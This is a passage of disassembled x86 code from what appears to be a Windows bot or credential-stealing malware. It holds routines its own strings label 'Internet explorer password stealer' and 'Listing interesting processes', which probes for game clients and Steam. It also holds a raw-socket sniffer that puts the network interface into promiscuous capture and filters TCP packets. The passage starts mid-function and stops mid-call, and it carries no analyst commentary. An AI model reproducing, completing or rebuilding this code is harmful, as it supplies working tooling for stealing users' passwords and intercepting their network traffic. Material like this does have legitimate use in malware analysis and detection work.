		push	offset dword_41D54C
		lea	eax, [ebp-0F60h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		and	byte ptr [eax],	0

loc_4157C5:				; CODE XREF: sub_414EF4+8B9j
		push	offset dword_41D54C
		mov	eax, [ebp-0EF4h]
		inc	eax
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	esi, eax
		lea	eax, [ebp-0F60h]
		push	eax
		call	dword_41703C	; lstrlen
		lea	eax, [esi+eax+9]
		mov	[ebp-0EF4h], eax
		mov	eax, [ebp-214h]
		inc	eax
		mov	[ebp-214h], eax
		push	3E8h
		call	dword_41709C	; Sleep
		movsx	eax, byte ptr [ebp-0A57h]
		test	eax, eax
		jnz	short loc_41583D
		lea	eax, [ebp-0F60h]
		push	eax
		lea	eax, [ebp-0FC4h]
		push	eax
		push	dword ptr [ebp-214h]
		push	offset dword_41D50C
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 14h

loc_41583D:				; CODE XREF: sub_414EF4+91Fj
		jmp	loc_4156F7
; ---------------------------------------------------------------------------

loc_415842:				; CODE XREF: sub_414EF4+6EEj
					; sub_414EF4+820j
		push	offset aE161255a ; "e161255a"
		lea	eax, [ebp-0A48h]
		push	eax
		call	dword_417108	; lstrcmp
		test	eax, eax
		jnz	loc_4159E0
		push	offset aStringindex ; "StringIndex"
		lea	eax, [ebp-210h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_4159E0
		push	offset dword_41D4EC
		lea	eax, [ebp-210h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4158A4
		push	offset dword_41D4EC
		lea	eax, [ebp-210h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		and	byte ptr [eax],	0

loc_4158A4:				; CODE XREF: sub_414EF4+998j
		push	8
		lea	eax, [ebp-210h]
		push	eax
		lea	eax, [ebp-0EE0h]
		push	eax
		call	dword_417100	; lstrcpyn
		push	offset dword_41D4E4
		lea	eax, [ebp-0EE0h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_415938
		push	offset dword_41D4DC
		lea	eax, [ebp-0EE0h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_415938
		mov	eax, [ebp-214h]
		inc	eax
		mov	[ebp-214h], eax
		push	3E8h
		call	dword_41709C	; Sleep
		movsx	eax, byte ptr [ebp-0A57h]
		test	eax, eax
		jnz	short loc_415933
		lea	eax, [ebp-9FCh]
		push	eax
		lea	eax, [ebp-210h]
		push	eax
		push	dword ptr [ebp-214h]
		push	offset dword_41D494
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 14h

loc_415933:				; CODE XREF: sub_414EF4+A15j
		jmp	loc_4159E0
; ---------------------------------------------------------------------------

loc_415938:				; CODE XREF: sub_414EF4+9DBj
					; sub_414EF4+9F2j
		push	offset byte_41DF00
		lea	eax, [ebp-0EE0h]
		push	eax
		call	dword_4170FC	; lstrcpy
		push	offset dword_41D54C
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_415999
		push	offset dword_41D54C
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		inc	eax
		push	eax
		lea	eax, [ebp-0EE0h]
		push	eax
		call	dword_4170FC	; lstrcpy
		push	offset dword_41D54C
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		and	byte ptr [eax],	0

loc_415999:				; CODE XREF: sub_414EF4+A6Bj
		mov	eax, [ebp-214h]
		inc	eax
		mov	[ebp-214h], eax
		push	3E8h
		call	dword_41709C	; Sleep
		lea	eax, [ebp-0EE0h]
		push	eax
		lea	eax, [ebp-9FCh]
		push	eax
		lea	eax, [ebp-210h]
		push	eax
		push	dword ptr [ebp-214h]
		push	offset dword_41D438
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 18h

loc_4159E0:				; CODE XREF: sub_414EF4+962j
					; sub_414EF4+97Dj ...
		push	200h
		push	0
		lea	eax, [ebp-210h]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	200h
		push	0
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		jmp	loc_4152C7
; ---------------------------------------------------------------------------

loc_415A11:				; CODE XREF: sub_414EF4+410j
		mov	byte ptr [ebp-4], 2
		cmp	dword ptr [ebp-0E14h], 0
		jz	short loc_415A30
		mov	eax, [ebp-0E14h]
		mov	ecx, [ebp-0E14h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]

loc_415A30:				; CODE XREF: sub_414EF4+B28j
		jmp	loc_4151DD
; ---------------------------------------------------------------------------

loc_415A35:				; CODE XREF: sub_414EF4+326j
		mov	byte ptr [ebp-4], 1
		cmp	dword ptr [ebp-0DF8h], 0
		jz	short loc_415A54
		mov	eax, [ebp-0DF8h]
		mov	ecx, [ebp-0DF8h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]

loc_415A54:				; CODE XREF: sub_414EF4+B4Cj
		jmp	loc_4150CB
; ---------------------------------------------------------------------------

loc_415A59:				; CODE XREF: sub_414EF4+20Ej
					; sub_414EF4+220j
		mov	al, [ebp-0A14h]
		mov	[ebp-0A54h], al
		push	3E8h
		call	dword_41709C	; Sleep
		push	dword ptr [ebp-214h]
		mov	eax, [ebp-0BF0h]
		push	dword ptr [eax]
		push	offset unk_41D3FC
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		push	dword ptr [ebp-0BF0h]
		call	sub_409763
		pop	ecx
		and	dword ptr [ebp-0FD8h], 0
		and	byte ptr [ebp-4], 0
		cmp	dword ptr [ebp-10h], 0
		jz	short loc_415ABB
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-10h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]

loc_415ABB:				; CODE XREF: sub_414EF4+BB9j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	dword ptr [ebp-0A00h], 0
		jz	short loc_415ADA
		mov	eax, [ebp-0A00h]
		mov	ecx, [ebp-0A00h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]

loc_415ADA:				; CODE XREF: sub_414EF4+BD2j
		mov	eax, [ebp-0FD8h]

loc_415AE0:				; CODE XREF: sub_414EF4+B9j
					; sub_414EF4+19Cj
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		leave
		retn	4
sub_414EF4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415AF0	proc near		; CODE XREF: sub_40A9CF+7Fp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_41DF50, 0
		jnz	short loc_415AFF
		jmp	short locret_415B3D
; ---------------------------------------------------------------------------

loc_415AFF:				; CODE XREF: sub_415AF0+Bj
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_415B15
		jmp	short locret_415B3D
; ---------------------------------------------------------------------------

loc_415B15:				; CODE XREF: sub_415AF0+21j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aInternetExplor ; "Internet explorer password stealer"
		push	0
		push	[ebp+var_4]
		push	offset sub_414EF4
		call	sub_4095A4
		add	esp, 10h

locret_415B3D:				; CODE XREF: sub_415AF0+Dj
					; sub_415AF0+23j
		leave
		retn
sub_415AF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415B3F	proc near		; CODE XREF: BrattyUS:00416FB6p
					; BrattyUS:00416FBFp ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax], 0
		jz	short locret_415B5E
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	ecx, [ebp+var_4]
		mov	ecx, [ecx]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]

locret_415B5E:				; CODE XREF: sub_415B3F+Dj
		leave
		retn
sub_415B3F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415B60	proc near		; DATA XREF: sub_415DFD+35o

var_5D8		= dword	ptr -5D8h
var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_5CC		= dword	ptr -5CCh
var_5C8		= dword	ptr -5C8h
var_5C4		= dword	ptr -5C4h
var_5C0		= dword	ptr -5C0h
var_5BC		= dword	ptr -5BCh
var_5B8		= dword	ptr -5B8h
var_5B4		= byte ptr -5B4h
var_41C		= byte ptr -41Ch
var_410		= dword	ptr -410h
var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= dword	ptr -404h
var_400		= byte ptr -400h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5D8h
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_5B8]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		and	[ebp+var_5C4], 0
		and	[ebp+var_410], 0
		and	[ebp+var_40C], 0
		and	[ebp+var_408], 0
		and	[ebp+var_404], 0
		and	[ebp+var_5BC], 0
		jmp	short loc_415BC2
; ---------------------------------------------------------------------------

loc_415BB5:				; CODE XREF: sub_415B60:loc_415C50j
		mov	eax, [ebp+var_5BC]
		inc	eax
		mov	[ebp+var_5BC], eax

loc_415BC2:				; CODE XREF: sub_415B60+53j
		cmp	[ebp+var_5BC], 0FFFFh
		jnb	loc_415C55
		push	400h
		lea	eax, [ebp+var_400]
		push	eax
		push	[ebp+var_5BC]
		call	dword_4171E4	; GetWindowTextA
		push	7
		push	offset aUnreal3	; "Unreal3"
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_415C0E
		mov	[ebp+var_410], 1

loc_415C0E:				; CODE XREF: sub_415B60+A2j
		push	offset aWorldOfWarcraf ; "World	Of Warcraft"
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_415C2F
		mov	[ebp+var_408], 1

loc_415C2F:				; CODE XREF: sub_415B60+C3j
		push	offset aConquer	; "[Conquer]"
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_415C50
		mov	[ebp+var_404], 1

loc_415C50:				; CODE XREF: sub_415B60+E4j
		jmp	loc_415BB5
; ---------------------------------------------------------------------------

loc_415C55:				; CODE XREF: sub_415B60+6Cj
		and	[ebp+var_5C0], 0
		lea	eax, [ebp+var_5C0]
		push	eax
		push	20019h
		push	0
		push	offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\VisualStudio\\6.0\\Set"...
		push	80000002h
		call	dword_417008	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_415C88
		mov	[ebp+var_5C4], 1

loc_415C88:				; CODE XREF: sub_415B60+11Cj
		push	[ebp+var_5C0]
		call	dword_417028	; RegCloseKey
		and	[ebp+var_5C0], 0
		lea	eax, [ebp+var_5C0]
		push	eax
		push	20019h
		push	0
		push	offset aSoftwareValveS ; "Software\\Valve\\Steam"
		push	80000001h
		call	dword_417008	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_415CC7
		mov	[ebp+var_40C], 1

loc_415CC7:				; CODE XREF: sub_415B60+15Bj
		push	[ebp+var_5C0]
		call	dword_417028	; RegCloseKey
		movsx	eax, [ebp+var_41C]
		test	eax, eax
		jz	short loc_415D1E
		cmp	[ebp+var_410], 0
		jnz	short loc_415D1E
		cmp	[ebp+var_5C4], 0
		jnz	short loc_415D1E
		cmp	[ebp+var_40C], 0
		jnz	short loc_415D1E
		cmp	[ebp+var_408], 0
		jnz	short loc_415D1E
		cmp	[ebp+var_404], 0
		jnz	short loc_415D1E
		push	[ebp+var_5B8]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_415DF9
; ---------------------------------------------------------------------------

loc_415D1E:				; CODE XREF: sub_415B60+17Cj
					; sub_415B60+185j ...
		cmp	[ebp+var_404], 0
		jz	short loc_415D33
		mov	[ebp+var_5C8], offset aYes ; "Yes"
		jmp	short loc_415D3D
; ---------------------------------------------------------------------------

loc_415D33:				; CODE XREF: sub_415B60+1C5j
		mov	[ebp+var_5C8], offset aNo ; "No"

loc_415D3D:				; CODE XREF: sub_415B60+1D1j
		cmp	[ebp+var_408], 0
		jz	short loc_415D52
		mov	[ebp+var_5CC], offset aYes ; "Yes"
		jmp	short loc_415D5C
; ---------------------------------------------------------------------------

loc_415D52:				; CODE XREF: sub_415B60+1E4j
		mov	[ebp+var_5CC], offset aNo ; "No"

loc_415D5C:				; CODE XREF: sub_415B60+1F0j
		cmp	[ebp+var_40C], 0
		jz	short loc_415D71
		mov	[ebp+var_5D0], offset aYes ; "Yes"
		jmp	short loc_415D7B
; ---------------------------------------------------------------------------

loc_415D71:				; CODE XREF: sub_415B60+203j
		mov	[ebp+var_5D0], offset aNo ; "No"

loc_415D7B:				; CODE XREF: sub_415B60+20Fj
		cmp	[ebp+var_5C4], 0
		jz	short loc_415D90
		mov	[ebp+var_5D4], offset aYes ; "Yes"
		jmp	short loc_415D9A
; ---------------------------------------------------------------------------

loc_415D90:				; CODE XREF: sub_415B60+222j
		mov	[ebp+var_5D4], offset aNo ; "No"

loc_415D9A:				; CODE XREF: sub_415B60+22Ej
		cmp	[ebp+var_410], 0
		jz	short loc_415DAF
		mov	[ebp+var_5D8], offset aYes ; "Yes"
		jmp	short loc_415DB9
; ---------------------------------------------------------------------------

loc_415DAF:				; CODE XREF: sub_415B60+241j
		mov	[ebp+var_5D8], offset aNo ; "No"

loc_415DB9:				; CODE XREF: sub_415B60+24Dj
		push	[ebp+var_5C8]
		push	[ebp+var_5CC]
		push	[ebp+var_5D0]
		push	[ebp+var_5D4]
		push	[ebp+var_5D8]
		push	offset dword_41D67C
		lea	eax, [ebp+var_5B4]
		push	eax
		call	sub_40D53F
		add	esp, 1Ch
		push	[ebp+var_5B8]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_415DF9:				; CODE XREF: sub_415B60+1B9j
		leave
		retn	4
sub_415B60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415DFD	proc near		; CODE XREF: sub_40A9CF+12FFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_415E17
		jmp	short locret_415E3F
; ---------------------------------------------------------------------------

loc_415E17:				; CODE XREF: sub_415DFD+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aListingInteres ; "Listing interesting processes"
		push	0
		push	[ebp+var_4]
		push	offset sub_415B60
		call	sub_4095A4
		add	esp, 10h

locret_415E3F:				; CODE XREF: sub_415DFD+18j
		leave
		retn
sub_415DFD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415E41	proc near		; CODE XREF: sub_415EB7+37p
					; sub_415EB7+59p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_415E52
; ---------------------------------------------------------------------------

loc_415E4B:				; CODE XREF: sub_415E41+69j
					; sub_415E41:loc_415EB1j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_415E52:				; CODE XREF: sub_415E41+8j
		mov	eax, [ebp+var_4]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+eax*4], 0
		jz	short loc_415EB3
		mov	eax, [ebp+var_4]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_407ACA
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415EB1
		mov	eax, [ebp+var_4]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+eax*4+4], 0
		jz	short loc_415EAC
		mov	eax, [ebp+var_4]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_407ACA
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415EAC
		jmp	short loc_415E4B
; ---------------------------------------------------------------------------

loc_415EAC:				; CODE XREF: sub_415E41+49j
					; sub_415E41+67j
		push	1
		pop	eax
		jmp	short locret_415EB5
; ---------------------------------------------------------------------------

loc_415EB1:				; CODE XREF: sub_415E41+3Aj
		jmp	short loc_415E4B
; ---------------------------------------------------------------------------

loc_415EB3:				; CODE XREF: sub_415E41+1Dj
		xor	eax, eax

locret_415EB5:				; CODE XREF: sub_415E41+6Ej
		leave
		retn
sub_415E41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415EB7	proc near		; CODE XREF: sub_415F69+420p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_C], 0
		jz	short loc_415EDD
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_407ACA
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415EDD
		push	1
		pop	eax
		jmp	loc_415F67
; ---------------------------------------------------------------------------

loc_415EDD:				; CODE XREF: sub_415EB7+7j
					; sub_415EB7+1Cj
		cmp	[ebp+arg_8], 1
		jb	short loc_415EFF
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset off_41D7AC
		call	sub_415E41
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415EFF
		push	1
		pop	eax
		jmp	short loc_415F67
; ---------------------------------------------------------------------------

loc_415EFF:				; CODE XREF: sub_415EB7+2Aj
					; sub_415EB7+41j
		cmp	[ebp+arg_8], 2
		jb	short loc_415F21
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset off_41D808
		call	sub_415E41
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415F21
		push	1
		pop	eax
		jmp	short loc_415F67
; ---------------------------------------------------------------------------

loc_415F21:				; CODE XREF: sub_415EB7+4Cj
					; sub_415EB7+63j
		cmp	[ebp+arg_8], 3
		jb	short loc_415F43
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset off_41D87C
		call	sub_415E41
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415F43
		push	1
		pop	eax
		jmp	short loc_415F67
; ---------------------------------------------------------------------------

loc_415F43:				; CODE XREF: sub_415EB7+6Ej
					; sub_415EB7+85j
		cmp	[ebp+arg_8], 4
		jb	short loc_415F65
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset off_41D8C0
		call	sub_415E41
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415F65
		push	1
		pop	eax
		jmp	short loc_415F67
; ---------------------------------------------------------------------------

loc_415F65:				; CODE XREF: sub_415EB7+90j
					; sub_415EB7+A7j
		xor	eax, eax

loc_415F67:				; CODE XREF: sub_415EB7+21j
					; sub_415EB7+46j ...
		pop	ebp
		retn
sub_415EB7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F69	proc near		; DATA XREF: sub_41665C+A6o

var_19B8	= dword	ptr -19B8h
var_19B4	= byte ptr -19B4h
var_18B4	= dword	ptr -18B4h
var_18B0	= byte ptr -18B0h
var_17B0	= dword	ptr -17B0h
var_17AC	= dword	ptr -17ACh
var_17A8	= byte ptr -17A8h
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= byte ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= dword	ptr -1618h
var_1614	= dword	ptr -1614h
var_1610	= dword	ptr -1610h
var_160C	= byte ptr -160Ch
var_140C	= byte ptr -140Ch
var_127E	= byte ptr -127Eh
var_1278	= byte ptr -1278h
var_1274	= byte ptr -1274h
var_1268	= word ptr -1268h
var_1264	= byte ptr -1264h
var_1263	= byte ptr -1263h
var_125C	= dword	ptr -125Ch
var_1258	= word ptr -1258h
var_1254	= byte ptr -1254h
var_1154	= dword	ptr -1154h
var_1150	= dword	ptr -1150h
var_114C	= byte ptr -114Ch
var_114B	= byte ptr -114Bh
var_104C	= dword	ptr -104Ch
var_1048	= word ptr -1048h
var_1044	= dword	ptr -1044h
var_1038	= byte ptr -1038h
var_1037	= byte ptr -1037h
var_1030	= byte ptr -1030h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 19B8h
		call	sub_416BC0
		push	edi
		push	3ABh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1614]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		movsx	eax, [ebp+var_160C]
		neg	eax
		sbb	eax, eax
		lea	ecx, [ebp+var_160C]
		and	eax, ecx
		mov	[ebp+var_1624],	eax
		push	0
		push	3
		push	2
		call	dword_417218	; socket
		mov	[ebp+var_104C],	eax
		cmp	[ebp+var_104C],	0FFFFFFFFh
		jnz	short loc_415FDE
		push	[ebp+var_1614]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_416657
; ---------------------------------------------------------------------------

loc_415FDE:				; CODE XREF: sub_415F69+60j
		push	0FFh
		lea	eax, [ebp+var_1254]
		push	eax
		call	dword_417260	; gethostname
		lea	eax, [ebp+var_1254]
		push	eax
		call	dword_41723C	; gethostbyname
		mov	[ebp+var_1154],	eax
		cmp	[ebp+var_1154],	0
		jnz	short loc_41602B
		push	[ebp+var_104C]
		call	dword_417230	; closesocket
		push	[ebp+var_1614]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_416657
; ---------------------------------------------------------------------------

loc_41602B:				; CODE XREF: sub_415F69+A1j
		push	10h
		push	0
		lea	eax, [ebp+var_1048]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_1048],	2
		mov	eax, [ebp+var_1154]
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_1044],	eax
		push	10h
		lea	eax, [ebp+var_1048]
		push	eax
		push	[ebp+var_104C]
		call	dword_417208	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_416093
		push	[ebp+var_104C]
		call	dword_417230	; closesocket
		push	[ebp+var_1614]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_416657
; ---------------------------------------------------------------------------

loc_416093:				; CODE XREF: sub_415F69+109j
		mov	[ebp+var_1150],	1
		push	0
		push	0
		lea	eax, [ebp+var_1620]
		push	eax
		push	0
		push	0
		push	4
		lea	eax, [ebp+var_1150]
		push	eax
		push	98000001h
		push	[ebp+var_104C]
		call	dword_41725C	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4160EA
		push	[ebp+var_104C]
		call	dword_417230	; closesocket
		push	[ebp+var_1614]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_416657
; ---------------------------------------------------------------------------

loc_4160EA:				; CODE XREF: sub_415F69+160j
		lea	eax, [ebp+var_1030]
		mov	[ebp+var_161C],	eax
		and	[ebp+var_1628],	0
		and	[ebp+var_4], 0
		push	[ebp+var_1610]
		mov	eax, [ebp+var_1614]
		push	dword ptr [eax]
		push	offset unk_41DA8C
		lea	eax, [ebp+var_140C]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		and	[ebp+var_1274],	0
		and	[ebp+var_114C],	0
		push	3Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_114B]
		rep stosd
		stosw
		stosb
		and	[ebp+var_1264],	0
		xor	eax, eax
		lea	edi, [ebp+var_1263]
		stosd
		stosb
		lea	eax, [ebp+var_114C]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_4044F7
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1264]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_4045B2
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_114C]
		push	eax
		call	dword_417244	; inet_addr
		mov	[ebp+var_1618],	eax
		lea	eax, [ebp+var_1264]
		push	eax
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_1268],	ax
		and	[ebp+var_1038],	0
		xor	eax, eax
		lea	edi, [ebp+var_1037]
		stosd
		stosb
		lea	eax, [ebp+var_1038]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_404552
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_1044]
		mov	[ebp+var_125C],	eax
		lea	eax, [ebp+var_1038]
		push	eax
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_1258],	ax

loc_4161E6:				; CODE XREF: sub_415F69+305j
					; sub_415F69+33Aj ...
		push	0
		push	1028h
		lea	eax, [ebp+var_1030]
		push	eax
		push	[ebp+var_104C]
		call	dword_417248	; recv
		mov	[ebp+var_17AC],	eax
		mov	eax, [ebp+var_1614]
		cmp	dword ptr [eax+4], 0
		jz	short loc_416217
		jmp	loc_416637
; ---------------------------------------------------------------------------

loc_416217:				; CODE XREF: sub_415F69+2A7j
		cmp	[ebp+var_17AC],	0FFFFFFFFh
		jz	short loc_416229
		cmp	[ebp+var_17AC],	0
		jnz	short loc_41622E

loc_416229:				; CODE XREF: sub_415F69+2B5j
		jmp	loc_416637
; ---------------------------------------------------------------------------

loc_41622E:				; CODE XREF: sub_415F69+2BEj
		mov	eax, [ebp+var_17AC]
		and	[ebp+eax+var_1030], 0
		mov	eax, [ebp+var_161C]
		mov	al, [eax]
		and	al, 0Fh
		movzx	eax, al
		mov	ecx, [ebp+var_161C]
		lea	eax, [ecx+eax*4]
		mov	[ebp+var_1628],	eax
		mov	eax, [ebp+var_1628]
		lea	ecx, [ebp+var_1030]
		sub	eax, ecx
		cmp	eax, [ebp+var_17AC]
		jb	short loc_416273
		jmp	loc_4161E6
; ---------------------------------------------------------------------------

loc_416273:				; CODE XREF: sub_415F69+303j
		mov	eax, [ebp+var_1628]
		mov	al, [eax+0Ch]
		shr	al, 4
		and	al, 0Fh
		movzx	eax, al
		mov	ecx, [ebp+var_1628]
		lea	eax, [ecx+eax*4]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_1030]
		sub	eax, ecx
		cmp	eax, [ebp+var_17AC]
		jb	short loc_4162A8
		jmp	loc_4161E6
; ---------------------------------------------------------------------------

loc_4162A8:				; CODE XREF: sub_415F69+338j
		push	[ebp+var_4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_17AC],	eax
		mov	eax, [ebp+var_161C]
		movzx	eax, byte ptr [eax+9]
		cmp	eax, 6
		jnz	loc_416632
		movsx	eax, [ebp+var_127E]
		test	eax, eax
		jz	short loc_4162EB
		mov	eax, [ebp+var_161C]
		mov	eax, [eax+10h]
		cmp	eax, [ebp+var_125C]
		jz	short loc_4162EB
		jmp	loc_4161E6
; ---------------------------------------------------------------------------

loc_4162EB:				; CODE XREF: sub_415F69+36Aj
					; sub_415F69+37Bj
		movsx	eax, [ebp+var_1278]
		test	eax, eax
		jz	short loc_41630C
		mov	eax, [ebp+var_161C]
		mov	eax, [eax+0Ch]
		cmp	eax, [ebp+var_125C]
		jz	short loc_41630C
		jmp	loc_4161E6
; ---------------------------------------------------------------------------

loc_41630C:				; CODE XREF: sub_415F69+38Bj
					; sub_415F69+39Cj
		mov	eax, [ebp+var_1628]
		mov	ax, [eax]
		push	eax
		call	dword_417238	; htons
		movzx	eax, ax
		movzx	ecx, [ebp+var_1258]
		cmp	eax, ecx
		jnz	short loc_416340
		mov	eax, [ebp+var_161C]
		mov	eax, [eax+0Ch]
		cmp	eax, [ebp+var_125C]
		jnz	short loc_416340
		jmp	loc_4161E6
; ---------------------------------------------------------------------------

loc_416340:				; CODE XREF: sub_415F69+3BFj
					; sub_415F69+3D0j
		mov	eax, [ebp+var_1628]
		mov	ax, [eax]
		push	eax
		call	dword_417238	; htons
		movzx	eax, ax
		movzx	ecx, [ebp+var_1268]
		cmp	eax, ecx
		jnz	short loc_416374
		mov	eax, [ebp+var_161C]
		mov	eax, [eax+0Ch]
		cmp	eax, [ebp+var_1618]
		jnz	short loc_416374
		jmp	loc_4161E6
; ---------------------------------------------------------------------------

loc_416374:				; CODE XREF: sub_415F69+3F3j
					; sub_415F69+404j
		push	[ebp+var_1624]
		push	[ebp+var_1610]
		push	[ebp+var_17AC]
		push	[ebp+var_4]
		call	sub_415EB7
